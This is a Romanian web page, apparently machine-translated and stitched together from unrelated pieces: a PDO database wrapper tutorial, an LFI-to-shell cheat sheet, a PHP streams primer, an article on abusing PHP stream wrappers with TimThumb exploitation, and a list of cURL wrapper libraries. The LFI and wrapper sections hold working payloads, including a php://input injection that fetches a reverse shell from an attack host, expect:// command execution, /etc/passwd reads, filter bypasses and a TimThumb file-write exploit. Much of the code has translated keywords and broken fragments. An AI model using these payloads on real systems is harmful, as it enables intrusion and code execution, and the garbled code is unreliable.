Introducere în fluxurile PHP. Cum pot fi folosite wrapper-urile PHP pentru a ataca aplicațiile web Ce conține ZIP


Principalul dezavantaj atât al PDO, cât și al mysqli atunci când se lucrează cu expresii pregătite este că funcțiile lor încorporate sunt proiectate pentru execuția multiplă a unei interogări pregătite (când prepare este apelat o singură dată, iar apoi execute() este apelat de mai multe ori cu date diferite) . Acesta este motivul pentru care sunt atât de proliști. Dar problema este că, în practică, în PHP este destul de rar să se îndeplinească astfel de solicitări. Ca rezultat, pentru majoritatea interogărilor trebuie să scrieți cod inutil de fiecare dată:

$stmt = $pdo -> pregăti ($sql );
$stmt -> execute ($params);
$date = $stmt -> fetch();

După cum se spune, pentru ce au luptat, în asta s-au lovit. Nu a existat nicio reducere de cod în comparație cu mysql_query(). Chiar mi-ar plăcea!
În același timp, Wes Furlong a jucat o altă păcăleală utilizatorilor PDO - execute() returnează o valoare booleană stupidă în loc să returneze o instrucțiune, ceea ce ar permite implementarea înlănțuirii metodelor și obținerea unui cod frumos precum

$date = $pdo -> pregateste ($sql )-> execute ($params )-> fetch ();

Dar, din păcate, chiar și această abordare este aproape inaccesibilă. Și, în orice caz, este redundant, deoarece în cele mai multe cazuri nu trebuie să facem nici pregătirea, nici executarea - trebuie doar să executăm prostește cererea, trecând nenorocitele de date pentru substituenți în ea.

Prin urmare, pentru a reduce cantitatea de scriere, vom adăuga o funcție la PDO, run(), a cărei funcție va fi redusă la codul de mai sus - execute prepare/execute și returnează o instrucțiune:

clasa MyPDO extinde PDO
{
rulare funcție publică ($sql, $args = NULL)
{
$stmt = $this -> pregăti ($sql );
$stmt -> execute ($args);
returnează $stmt ;
}
}

Și din declarație putem obține orice date, în orice mod standard:

$date = $pdo -> rulați ( „SELECT * FROM users WHERE sex="masculin"")->fetchAll();

Problema N2, accesibilitate
O altă descoperire neplăcută pentru începători este că PDO nu poate fi accesat nicăieri în script, cum ar fi mysql_query().

Prin urmare, următoarea îmbunătățire ar fi implementarea accesului la PDO printr-un singleton static. Acest model este adesea criticat pe Internet și din motive întemeiate. Dar aici trebuie să înțelegeți un lucru simplu:
Dacă codul dvs. este susceptibil la problemele pe care le poate cauza un singleton, înseamnă că utilizați deja un driver de bază de date de nivel înalt, cel mai probabil dintr-un cadru popular.
Dar dacă tocmai ați ieșit cu crawlere din peștera mysql_query(), obișnuindu-vă să-l scrieți în codul dvs. fără să vă faceți griji cu privire la trecerea conexiunilor, atunci trebuie să aveți cu dvs. o instanță PDO va fi un test serios. În ciuda faptului că sintaxa PDO în sine și expresiile pregătite în sine, nu formează un prag de intrare atât de fragil. Deci, să încercăm să îndulcim pilula cu posibilitatea de a accesa baza de date de oriunde în scenariu, la fel ca în vremurile bune.

Rezultatul final este un add-on PDO foarte compact care, deși este la fel de ușor de utilizat ca mysql_query(), reduce, de asemenea, codul și oferă siguranța expresiei pregătite.

Cod

define ("DB_HOST", "localhost");
define („DB_NAME”, „test”);
define („DB_USER”, „rădăcină”);
definesc ("DB_PASS" , "" );
define ("DB_CHAR" , "utf8" );

clasa DB
{
protejat static $instanta = null ;

Funcția publică __construct()()
funcția publică __clone()()

Instanță de funcție publică statică ()
{
if (self :: $instanță === null )
{
$opt = matrice(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => TRUE,
);
$dsn = "mysql:host=". DB_HOST. ";dbname=". DB_NAME. ";charset=". DB_CHAR ;
self :: $instanță = PDO nou ($dsn, DB_USER, DB_PASS, $opt);
}
return self :: $instanta ;
}

Funcția publică statică __callStatic ($method, $args)
{
return call_user_func_array (array(self :: instance(), $metodă), $args );
}

Rularea funcției statice publice ($sql , $args = )
{
dacă (! $args )
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> execute ($args);
returnează $stmt ;
}
}

Exemple

# Creați un tabel
DB::query( „CREATE temporar TABLE pdowrapper (id int cheie primară auto_increment, nume varchar(255))”);

# executarea multiplă a expresiilor pregătite
$stmt = DB::prepare( „INSERT INTO pdowrapper VALUES (NULL, ?)”);
foreach ([ „Sam” , „Bob” , „Joe” ] ca $name )
{
$stmt -> execute([ $nume]);
}
var_dump(DB::lastInsertId());
//string(1) „3”

# Primirea șirurilor într-o buclă
$stmt = DB::run("SELECT * FROM pdowrapper");
while ($rând = $stmt -> preluare (PDO :: FETCH_LAZY ))
{
echo $row [ "nume" ], "," ;
echo $row -> nume , "," ;
echo $rând [ 1 ], PHP_EOL ;
}
/*
Sam, Sam, Sam
Bob, Bob, Bob
Joe, Joe, Joe
*/

# Obțineți o linie
$id = 1 ;
$row = DB::run( „SELECT * FROM pdowrapper WHERE id=?”, [ $id ])-> fetch();
var_export($rând);
/*
matrice (
"id" => "1",
"nume" => "Sam",
*/

# Obținerea unui câmp
$nume = DB::run( „SELECT numele din pdowrapper WHERE id=?”, [ $id ])-> fetchColumn();
var_dump($nume);
//string(3) „Sam”

# Aduceți toate șirurile într-o matrice
$all = DB::run( „SELECT numele, id-ul din pdowrapper”)->fetchAll(PDO::FETCH_KEY_PAIR);
var_export($toate);
/*
matrice (
„Sam” => „1”,
"Bob" => "2",
"Joe" => "3",
*/

# Actualizați tabelul
$nou = "Sue" ;
$stmt = DB::run( „UPDATE pdowrapper SET name=? WHERE id=?”, [ $nou , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFI înseamnă Fișierul local include- este o vulnerabilitate de includere locală a fișierelor care permite unui atacator să includă fișiere care există pe serverul web țintă. De obicei, acest lucru este exploatat prin abuzarea mecanismelor de includere a fișierelor dinamice care nu igienizează intrarea utilizatorului.

Scripturile care preiau nume de fișiere ca parametri fără a igieniza intrarea utilizatorului sunt candidați buni pentru vulnerabilitățile LFI, un exemplu bun ar fi următorul script PHP foo.php?file=image.jpg care ia imagine.jpg ca parametru. Un atacator ar înlocui pur și simplu image.jpg și ar insera o sarcină utilă. În mod normal, este utilizată o sarcină utilă de traversare a directorului care scapă din directorul de script și traversează structura directorului sistemului de fișiere, expunând fișiere sensibile precum foo.php?file=../../../../../../.. /etc/passwd sau fișiere sensibile din cadrul aplicației web în sine. Expunerea de informații sensibile sau fișiere de configurare care conțin nume de utilizator și parole SQL.

Notă: În unele cazuri, în funcție de natura vulnerabilității LFI, este posibil să rulați executabile de sistem.

Cum să obțineți un Shell de la LFI

Mai jos sunt câteva tehnici pe care le-am folosit în trecut pentru a obține un shell pe sisteme cu scripturi LFI vulnerabile expuse.

Path Traversal, alias Directory Traversal

După cum s-a menționat mai sus, parcurgeți structura directorului sistemului de fișiere pentru a dezvălui informații sensibile despre sistem care vă pot ajuta să obțineți un shell, nume de utilizator / parole etc.

PHP Wrapper expect:// LFI

Permite executarea comenzilor de sistem prin php expect wrapper, din păcate acest lucru nu este activat implicit.

Un exemplu de așteptare PHP:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Mai jos este eroarea primită dacă wrapper-ul PHP expect este dezactivat:

Avertisment: include () : Imposibil de găsit pachetul „așteptați” - ați uitat să îl activați când ați< br >PHP configurat? în /var/www/fileincl/example1. php pe linia 7 Avertisment: include (): Imposibil de găsit< br >wrapper "expect" - ați uitat să-l activați când ați configurat PHP? în< br >/var/www/fileincl/example1. php pe linia 7 Avertisment: include (expect://ls): nu s-a putut deschide fluxul: nu există un astfel de fișier sau director în /var/www/fileincl/example1. php pe linia 7 Avertisment: include (): deschiderea „expect://ls” eșuată pentru includere (include_path = „.:/usr/share/php:/usr/share/pear”) în /var/www/fileincl/example1. php pe linia 7

PHP Wrapper php://fișier

Un alt wrapper PHP, php://input sarcina dvs. utilă este trimisă într-o solicitare POST folosind curl, burp sau hackbar pentru a furniza datele postării este probabil cea mai ușoară opțiune.

Http://192.168.183.128/fileincl/example1.php?page=php://input

Postați încărcătura utilă de date, încercați ceva simplu pentru a începe cu:

Apoi încercați să descărcați un de pe mașina dvs. de atac folosind:

„wget ​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php”) ; ?>

După încărcare, executați shell-ul invers la http://192.168.183.129/shell.php

PHP Wrapper php://filtru

Un alt wrapper PHP, php://filter în acest exemplu, ieșirea este codificată folosind base64, așa că va trebui să decodați ieșirea.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ Metoda LFI

Dacă este posibil să includeți /proc/self/environ din scriptul dumneavoastră LFI vulnerabil, atunci execuția codului poate fi valorificată prin manipularea parametrului User Agent cu Burp. După ce codul PHP a fost introdus, /proc/self/environ poate fi executat prin scriptul dumneavoastră LFI vulnerabil.

/proc/self/fd/ Metoda LFI

Similar cu metoda anterioară /proc/self/environ, este posibil să introduceți cod în fișierele jurnal proc care poate fi executat prin scriptul dumneavoastră LFI vulnerabil. De obicei, ați folosi burp sau curl pentru a injecta cod PHP în referitor.

Această metodă este puțin complicată, deoarece fișierul proc care conține informațiile din jurnalul de erori Apache se modifică sub /proc/self/fd/, de ex. /proc/self/fd/2 , /proc/self/fd/10 etc. Aș recomanda forțarea brută a structurii de directoare a directorului /proc/self/fd/ cu Burp Intruder + lista LFI-FD-Check.txt a lui FuzzDB de fișiere proc probabile, apoi puteți monitoriza dimensiunile paginilor returnate și investigați.

Instrument de testare a stiloului fimap LFI

fimap este un instrument folosit la testele stiloului care automatizează procesele de mai sus de descoperire și exploatare a scripturilor LFI. La descoperirea unui script LFI vulnerabil, fimap va enumera sistemul de fișiere local și va căuta fișiere jurnal de scriere sau locații precum /proc/self/environ . Un alt instrument folosit în mod obișnuit de testele stiloului pentru a automatiza descoperirea LFI este dotdotpwn al lui Kali, care funcționează într-un mod similar.

fimap + phpinfo() Exploat

Fimap exploatează crearea fișierelor temporare PHP prin includerea fișierelor locale prin abuzarea erorilor de dezvăluire a informațiilor PHPinfo() pentru a dezvălui locația fișierului temporar creat.

Dacă este prezent un fișier phpinfo(), de obicei este posibil să obțineți un shell, dacă nu cunoașteți locația fișierului phpinfo, fimap îl poate sonda sau puteți utiliza un instrument precum OWASP DirBuster.

În programare trebuie să lucrați constant cu diverse resurse: fișiere, socket-uri, conexiuni http. Și toate au un fel de interfață de acces, adesea incompatibilă între ele. Prin urmare, pentru a elimina aceste neconcordanțe și a unifica munca cu diverse surse de date, începând cu PHP 4.3 au fost inventate Fluxuri PHP - fluxuri.

Cu toate că PHP 4.3 a apărut cu mult timp în urmă, mulți Programatori PHP ai o idee foarte vaga despre fire în PHP, și continuați să utilizați RĂSUCI peste tot, deși în PHP Există o alternativă mai convenabilă pentru aceasta în formă Contextul fluxului.

Următoarele tipuri de fluxuri există în PHP:

  • Fișier pe hard disk;
  • conexiune HTTP cu un site web;
  • Compus UDP cu serverul;
  • fișier Zip;
  • Fișier * .mp3.

Ce au în comun toate aceste resurse? Toate pot fi citite și scrise, adică operațiunile de citire și scriere pot fi aplicate tuturor acestora. Forta fire PHP Trucul este că puteți accesa toate aceste resurse folosind același set de funcții. Este foarte confortabil. De asemenea, dacă o astfel de nevoie apare brusc, puteți scrie propria implementare a handler-ului de fire „împachetare flux”. Pe lângă citit și scris, fluxuri în PHP de asemenea, vă permite să efectuați alte operațiuni, cum ar fi redenumirea și ștergerea.

Programare activată PHP, Ați întâlnit deja fire, deși poate nu v-ați dat seama. Deci, funcțiile care funcționează cu fluxuri sunt fopen(), file_get_contents(), fişier() etc. Deci, de fapt, utilizați deja fluxuri de fișiere în tot acest timp, complet transparent.

Pentru a lucra cu un alt tip de flux, trebuie să specificați protocolul acestuia (înveliș) in felul urmator: wrapper://some_stream_resource, Unde wrapper://- acesta este, de exemplu http://, fişier://, ftp://, zip:// etc., și some_stream_resource - URI, identifică ceea ce doriți să deschideți. URI nu impune nicio restricție asupra formatului. Exemple:

  • http://site/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://utilizator: [email protected]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Cu toate acestea, vă rugăm să rețineți că nu toate protocoalele și handlerele pot funcționa pentru dvs., deoarece suportul pentru unele shell-uri depinde de setările dvs. Prin urmare, pentru a afla ce protocoale sunt acceptate, trebuie să rulați următorul script:

// lista transporturilor de socket înregistrate
print_r(stream_get_transports());

// lista de fire înregistrate (de gestionare)
print_r(stream_get_wrappers());

// lista filtrelor înregistrate
print_r(stream_get_filters();

Contexte de fire PHP

Adesea este nevoie să specificați parametri suplimentari atunci când faceți o solicitare http. Contextele thread-urilor rezolvă această problemă, permițându-vă să specificați parametri suplimentari. Multe funcții conștiente de fire au un parametru opțional de context. Să ne uităm la funcție file_get_contents():

String file_get_contents(șir $filename [, int $flags = 0 [, resursă $context [, int $offset = -1 [, int $maxlen = -1]]]])

După cum puteți vedea, contextul firului este transmis ca al treilea parametru. Contextele sunt create folosind funcția stream_context_create(), care preia o matrice și returnează o resursă de context.

$options = array(
"http" => matrice(
"method" => "GET",
"header" => "Accept-limba: ro\r\n".
„Cookie: foo = bar\r\n”
);

$context = stream_context_create($opțiuni);

// Folosind asta cu file_get_contents...
echo file_get_contents("http://www.example.com/", 0, $context);

Așa că astăzi am aflat despre ce este vorba fire și contexte de fire în PHP, a analizat exemple de utilizare a acestora, iar în articolele următoare vom vorbi despre metadatele fluxului și vom crea propriul nostru handler.

Flexibilitatea limbajului de programare adaugă confort dezvoltatorilor, dar deschide și noi vectori de atac. Dezvoltatorii PHP folosesc adesea așa-numitele wrapper-uri și nici măcar nu bănuiesc că acest lucru poate duce la ocolirea filtrelor de securitate încorporate în aplicație și, de exemplu, permit executarea unui cod arbitrar pe server. Astăzi vom vorbi despre ambalaje, caracteristicile lor și amenințările asociate cu acestea.

AVERTIZARE

Toate informațiile sunt furnizate doar în scop informativ. Nici editorii, nici autorul nu sunt responsabili pentru eventualele daune cauzate de utilizarea materialelor din acest articol.

Introducere

Vulnerabilitățile asociate cu mecanismul de wrapper implementat în PHP au fost discutate de ceva timp. Link-uri către acestea sunt prezente în OWASP TOP 10 și WASC TCv2. Cu toate acestea, o serie de caracteristici ale implementării codificării datelor conduc la faptul că chiar și aplicațiile dezvoltate având în vedere cerințele de securitate pot conține vulnerabilități (inclusiv cele critice). În acest articol, vom arunca mai întâi o privire rapidă la ce sunt wrapper-urile PHP și cum pot fi utile programatorilor. Apoi vom analiza caracteristicile acestora, care vă permit să ocoliți filtrele de securitate încorporate în aplicație și să implementați atacuri legate de accesul neautorizat la sistemul de fișiere și execuția de cod arbitrar.

Ambalaje

PHP are așa ceva ca fluxuri, care au apărut în interpretor începând cu versiunea 4.3.0. Este un strat abstract pentru lucrul cu fișiere, rețea, date comprimate și alte resurse folosind un singur set de funcții. În definiția sa cea mai simplă, un fir este o resursă care are un comportament „asemănător unui fir”. Adică, o resursă din care poți citi, în care poți scrie și în care poți naviga. De exemplu, luați în considerare funcția fopen. Conform documentației oficiale, are următoarea sintaxă:

Resursa fopen(șir $nume fișier, șir $mode [, bool $use_include_path = false [, resursă $context ]])

unde $filename poate fi calea către un fișier local. Este bine cunoscut faptul că puteți obține conținutul fișierelor locale astfel:

$handle = fopen($fisier, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) print $contents;

Dar, pe lângă calea banală către fișier, pot fi folosite așa-numitele wrappers. Cel mai bun mod de a explica ce este aceasta este să dai câteva exemple. Deci, folosind wrapper-uri prin aceeași funcție fopen, devine posibil:

  • descărcați fișiere de pe FTP: ftp://user: [email protected]/pub/file.txt;
  • contactați, dacă accesul la acestea este limitat, la server-status/server-info prin IP: http://127.0.0.1/server-status;
  • accesați descriptori de fișiere deschiși pentru citire (PHP >= 5.3.6): php://fd/XXX;
  • și chiar executați comenzi OS (dacă este instalată extensia expect): expect://ls.

Wrapper-urile (cunoscute și sub numele de protocol handler-uri sau wrapper-uri) spun funcțiilor cum să proceseze datele dintr-un flux. Prin urmare, funcțiile care acceptă wrapper-uri pot fi folosite pentru a obține date din diverse surse. Wrapper-urile vă permit să procesați în mod flexibil și convenabil datele care intră în program prin orice flux, precum și să le modificați dacă este necesar.

În exemplul luat în considerare, wrapper-urile au fost utilizate în modul citire. Dacă datele sunt înregistrate, atunci, în acest caz, wrapper-urile pot extinde și capacitățile multor funcții. De exemplu, funcția copy() acceptă wrapper-uri în ambele argumente, iar dacă al doilea argument folosește un wrapper php://output, atunci fișierul copiat este trimis în buffer-ul de ieșire. Astfel, funcția copy() vă permite nu numai să copiați fișiere, ci și să le citiți.

Copy("/etc/passwd" , "php://output");

În mod similar, puteți utiliza funcția file_put_contents și orice altă funcție care acceptă wrapper-ul în modul de scriere:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 a introdus php://fd wrapper, care oferă acces direct la descriptori de fișiere. Dacă PHP este instalat ca modul Apache, wrapper-ul php://fd face posibilă scrierea de date arbitrare în access_log/error_log (de obicei, permisiunile pentru aceste fișiere sunt 644 și numai root poate scrie direct în ele).

Trebuie spus că PHP are o mulțime de wrapper-uri încorporate, dar vă puteți crea și înregistra propriile wrapper-uri folosind funcția stream_wrapper_register. Puteți găsi informații mai detaliate pe site-ul oficial PHP. Lista completă a wrapper-urilor disponibile poate fi găsită în secțiunea phpinfo - Registered PHP Streams.

Unele wrapper-uri au caracteristici nedocumentate care vă permit să exploatați mai eficient vulnerabilitățile aplicațiilor web. Aceste caracteristici le vom lua în considerare astăzi.

Ce conține ZIP?

ZIP este un format popular de comprimare a datelor și de arhivare a fișierelor. Suportul pentru acest format este implementat în toate sistemele de operare moderne, iar bibliotecile pentru lucrul cu acesta au fost scrise pentru majoritatea limbajelor de programare. În PHP, este convenabil să folosiți modulul zip pentru a lucra cu acest format.

Pe sistemele Linux, modulul zip devine disponibil dacă PHP este compilat cu opțiunea --enable-zip. Puteți arhiva nu numai fișiere individuale, ci și directoare întregi; Pentru a păstra structura directoarelor, este permisă utilizarea unei bare oblice / în numele fișierelor adăugate în arhivă. O altă caracteristică importantă a modulului zip este capacitatea de a procesa fișiere cu un nume arbitrar: principalul lucru este ca conținutul fișierului să fie o arhivă zip formată corect.

Crearea unei arhive zip $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "închide();

Odată ce arhiva zip este creată, puteți utiliza wrapper-ul zip:// pentru a accesa direct fișierele din arhivă.

Citirea unui fișier dintr-o arhivă zip print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Capacitatea de a arhiva fișiere cu o bară oblică în numele acestora vă permite să exploatați vulnerabilitățile Remote File Include în absența unui octet nul. De exemplu, luați în considerare următorul script simplu:

$s = $_POST[„cale”]; include $s."/header.html";

Desigur, puteți realiza execuția codului în acest caz în moduri diferite. Dar utilizarea wrapper-urilor http://, ftp://, data:// este limitată de directiva allow_url_include, iar utilizarea unui octet nul atunci când includ fișiere locale este cel mai probabil împiedicată de directiva magic_quotes_gpc. Și poate chiar părea că cu allow_url_include=Off și magic_quotes_gpc=On nu există nicio modalitate de a exploata vulnerabilitatea. Dar există o altă cale, nedescrisă anterior în public!

Pentru început, să presupunem că este posibil să creați fișiere pe serverul atacat. Apoi, prin crearea unei arhive zip, așa cum se arată în exemplul de mai sus, este posibil să executați codul PHP folosind wrapper-ul zip://.

Path=zip:///tmp/any_name_zip_arxiv#/my

Dacă nu este posibil să creați fișierul necesar folosind o funcție PHP, atunci puteți utiliza fișiere temporare pe care PHP le creează atunci când încărcați conținut printr-un formular HTML. Calea către fișierul temporar poate fi găsită din phpinfo(). Informații mai detaliate despre cum să utilizați fișierele temporare atunci când exploatăm vulnerabilități precum LFI/RFI pot fi găsite pe forumul rdot.org. Este important de reținut că directiva allow_url_fopen nu restricționează utilizarea wrapper-ului zip://.

Unde sunt datele mele://?

Wrapper-ul data:// a atras atenția experților în securitate web încă de la început. Documentația oficială sugerează utilizarea acestui înveliș într-o formă foarte limitată. Dar, conform specificației RFC 2379, acest wrapper permite o sintaxă mai extinsă:

Dataurl:= "date:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ tip "/" subtip ] *(";" parametru) data:= *urlchar parameter:= attribute "=" value

În acest caz, mediatype poate fi fie complet absent, fie umplut cu valori arbitrare:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Această caracteristică de ambalare poate fi utilizată pentru a ocoli verificările și filtrele. De exemplu, popularul script TimThumb v1.x are următorul filtru:

Funcția validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; returnează preg_match ($pattern, $url); )

Puteți ocoli această verificare după cum urmează:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

Există o funcție în PHP numită stream_get_meta_data(). Conform documentației oficiale, extrage metadate din fluxuri și indicatori de fișiere:

Matrice stream_get_meta_data (resursa $stream)

În același timp, matricea returnată conține elemente cu chei clar definite, iar sarcina de a adăuga elemente noi la această matrice pare la prima vedere destul de problematică. Dar cu data:// wrapper-ul puteți manipula această matrice destul de ușor! Cum? Să vă dau un exemplu:

$parolă = „secret”; $fișier = $_POST[„fișier”]; $fp = fopen($fisier, "r"); extract(stream_get_meta_data($fp)); if ($mediatype === "text/plain") ( ... ) if ($_COOKIE["admin"] === $parolă) ( ... )

Dacă utilizați învelișul de date în variabila $file în loc de numele fișierului local,

DATE POST: file=data://text/plain;parola=mysecret;base64

apoi puteți suprascrie cu ușurință parametrul $parolă și, folosind cookie-uri, puteți trece autorizarea.

Cookie: admin=secretul meu

Compresa rece

Conform documentației, wrapper-ul compress.zlib:// vă permite să despachetați arhivele gz. Dacă utilizați acest wrapper pentru a procesa date care nu sunt o arhivă zlib, atunci datele sunt returnate neschimbate.

Readfile("compress.zlib:///etc/hosts");

"De mare ajutor!" - ai putea crede :). Va fi mai rece acum. Dacă ați făcut vreo programare PHP pentru web, probabil că sunteți familiarizat cu funcția prase_url(). Permiteți-mi să vă reamintesc că această funcție analizează adresele URL. Și aici există un punct interesant: intrarea funcției poate fi furnizată nu numai cu o adresă URL, ci și cu un șir de tip destul de general:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Având în vedere această caracteristică, puteți ocoli diverse verificări și filtre bazate pe funcția parse_url folosind wrapper-uri multifuncționale. De exemplu, luați în considerare următorul script, care, potrivit dezvoltatorilor, poate descărca fișiere numai de la gazda de încredere img.youtube.com.

$url_info = parse_url($_POST["src"]); if ($url_info["gazdă"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["cale"], 4)); copie($ src, "./".$nume); )

În modul normal, previzualizările de pe img.youtube.com sunt încărcate după cum urmează:

DATE POSTĂ: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

În acest caz, filtrul poate fi, de asemenea, ocolit folosind compress.zlib:// wrapper.

DATE POST: src=compress.zlib://img.youtube.com/../path/to/local/file;

În plus, este destul de ușor să ocoliți filtrul de nume de gazdă și să încărcați un fișier cu un nume și un conținut arbitrar pe server folosind învelișul data:// despre care am discutat anterior:

DATE POSTĂ: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

În acest caz, fișierele locale vor fi copiate în folderul de previzualizare: dacă acest folder este accesibil pentru acces direct din browser, atunci devine posibilă vizualizarea fișierelor de sistem. Acest exemplu arată că utilizarea wrapper-urilor data:// și compress.zlib:// poate fi utilă în scripturile care descarcă fișiere de la gazde la distanță. Un astfel de scenariu este TimThumb.


Exploatarea vulnerabilităților în TimThumb v1.x

TimThumb este un script de imagine popular folosit în multe teme și pluginuri WordPress. În august 2011, a fost găsită o vulnerabilitate critică în scriptul TimThumb v 1.32, care permite fișierelor cu cod PHP să fie încărcate pe serverul atacat în loc de imagini de la gazde de încredere. Aproape peste noapte, un consilier a apărut în domeniul public, detaliind exploatarea acestei vulnerabilități.

Esența vulnerabilității a fost că scriptul a verificat incorect adresa URL cu lista de gazde de încredere de pe care a fost posibil să descărcați imagini. Pentru a ocoli filtrele, de exemplu, pe gazda de încredere blogger.com, s-a propus să se înregistreze un domeniu de nivel al patrulea care să conțină adresa URL a gazdei de încredere, de exemplu blogger.com.attacker.com și să se descarce fișiere de pe acest domeniu.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

În acest fel, a fost posibilă exploatarea vulnerabilității până la versiunea 1.32 (reviziunea 142). Dar versiunile mai noi erau și ele vulnerabile. Să ne uităm la modul în care sunt încărcate imaginile în versiunea 1.34 (reviziunea 145):

Funcția check_external ($src) ( .................... $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $ nume de fișier; dacă (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ") !==false)( dacă (!validate_url ($src)) display_error ("url invalid"); $url_info = parse_url ($src); ............ ...... if($url_info["gazdă"]=="www.youtube.com" || $url_info["gazdă"] == "youtube.com") ( parse_str ($url_info["interogare" ]); ... ................... dacă (funcția_există ("curl_init")) ( ............... ...... . $fh = fopen ($local_filepath, "w"); $ch = curl_init ($src); ....... ................ curl_setopt ($ch , CURLOPT_URL, $src); ................................ curl_setopt ($ch, CURLOPT_FILE, $fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ........................ .......... $file_infos = getimagesize ($local_filepath); if (gol ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"]))) ( deconectare ($local_filepath) ; atingeți($local_filepath); ......................

Este ușor de observat că au fost făcute mai multe erori logice la proiectarea funcției check_external:

  1. După ce majoritatea verificărilor sunt finalizate, funcția parse_str primește date de utilizator nefiltrate. Astfel, puteți suprascrie variabilele care au fost verificate anterior: $url_info['gazdă'], $src, $local_filepath. Prin urmare, este posibil să descărcați fișiere de pe orice server.
  2. După încărcarea unui fișier pe server, se verifică pe baza getimagesize dacă fișierul este o imagine. Dacă verificarea eșuează, fișierul este șters. Dar, deoarece este posibil să influențezi variabila $local_filepath, fișierul local poate fi accesat folosind wrapper-urile php://filter, compress.zlib://. Și în acest caz, funcția de deconectare nu va putea șterge fișierul.

După câteva săpături, am scris un exploit pentru a descărca fișiere. Cu un nume arbitrar și cu conținut arbitrar, într-o locație arbitrară în sistem.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

Ramura 1.x se termină cu revizuirea 149, care conține și vulnerabilități. În această revizuire, funcția parse_str a fost deja eliminată și, prin urmare, nu este posibil să se suprascrie variabile. Dar filtrele care verifică validitatea unei adrese URL verifică doar apariția subșirurilor care se potrivesc în șirul $src. Mai mult, dacă funcția curl_init nu este disponibilă pe serverul atacat, atunci fișierele sunt descărcate folosind file_get_contents/file_put_contents. Este important de reținut că aceste funcții, spre deosebire de curl_init, acceptă toate wrapper-urile disponibile în PHP.

If(!$img = file_get_contents($src)) ( display_error("fișier la distanță pentru " . $src . "nu poate fi accesat. Este posibil ca permisiunile fișierului să fie restricționate"); ) if(file_put_contents($local_filepath, $img) == FALSE) ( display_error ("eroare la scrierea fișierului temporar"); )

Astfel, folosind wrapper-ul data://, puteți ocoli toate filtrele și puteți crea un fișier în directorul cache cu conținut arbitrar:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Sau utilizați compress.zlib:// wrapper-ul pentru a copia un fișier local în cache:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Avantajul este că fișierele din cache pot fi accesate direct, ceea ce duce la obținerea RCE prin scrierea unui shell folosind învelișul de date și, de asemenea, obținerea conținutului fișierelor locale folosind compress.zlib.

În loc de concluzie

Este evident că wrapper-urile încorporate în PHP oferă oportunități mari de exploatare a vulnerabilităților precum manipularea fișierelor. Dar este de remarcat faptul că chiar și cele mai simple verificări bazate pe funcțiile file_exists, is_file, filesize nu vă vor permite să utilizați wrapper-uri. De asemenea, atunci când patch-ul Suhosin este instalat, în mod implicit este imposibil să utilizați wrapper-uri în include, chiar dacă directiva allow_url_include este setată la On. În acest moment, nu închid subiectul utilizării wrapper-urilor și în articolul următor voi vorbi despre capacitățile wrapper-ului php://filter folosind exemple de exploatare a vulnerabilităților din motoarele web populare. Rămâneţi aproape!

Sunt regii, totuși, uneori, în funcție de dimensiunea sau importanța proiectului dvs., nu aveți nevoie de o astfel de bibliotecă, ci doar de cURL. Ideea este că cURL cu sintaxa implicită poate deveni plictisitor de lucrat, așa că poate doriți să utilizați un wrapper care simplifică multe sarcini și facilitează executarea solicitărilor.În acest top, dorim să împărtășim cu tine 7 dintre cele mai bune biblioteci de wrapper-uri disponibile pentru cURL pe web.

7. Bucle de dcai

Acest wrapper oferă un strat de abstractizare care simplifică sintaxa bibliotecii PHP cURL:

$http = nou dcai\curl; // enable cache $http = new dcai\curl(array("cache"=>true)); // enable cookie $http = new dcai\curl(array("cookie"=>true)); // enable proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $răspuns = $http->get("http://example.com"); // HTTP POST $răspuns = $http->post("http://example.com/", array("q"=>"cuvinte", "nume"=>"moodle")); // POSTĂ RAW $xml = " a executa"; $răspuns = $http->post("http://example.com/", $xml); // HTTP PUT $răspuns = $http->put("http://example.com/", array("fișier" =>"/var/www/test.txt");

6.CurlWrapper

CurlWrapper este o clasă de wrapper flexibilă pentru extensia PHP cURL. Puteți inițializa cu ușurință o instanță a bibliotecii cu:

Încercați ( $curl = new CurlWrapper(); ) catch (CurlWrapperException $e) ( echo $e->getMessage(); )

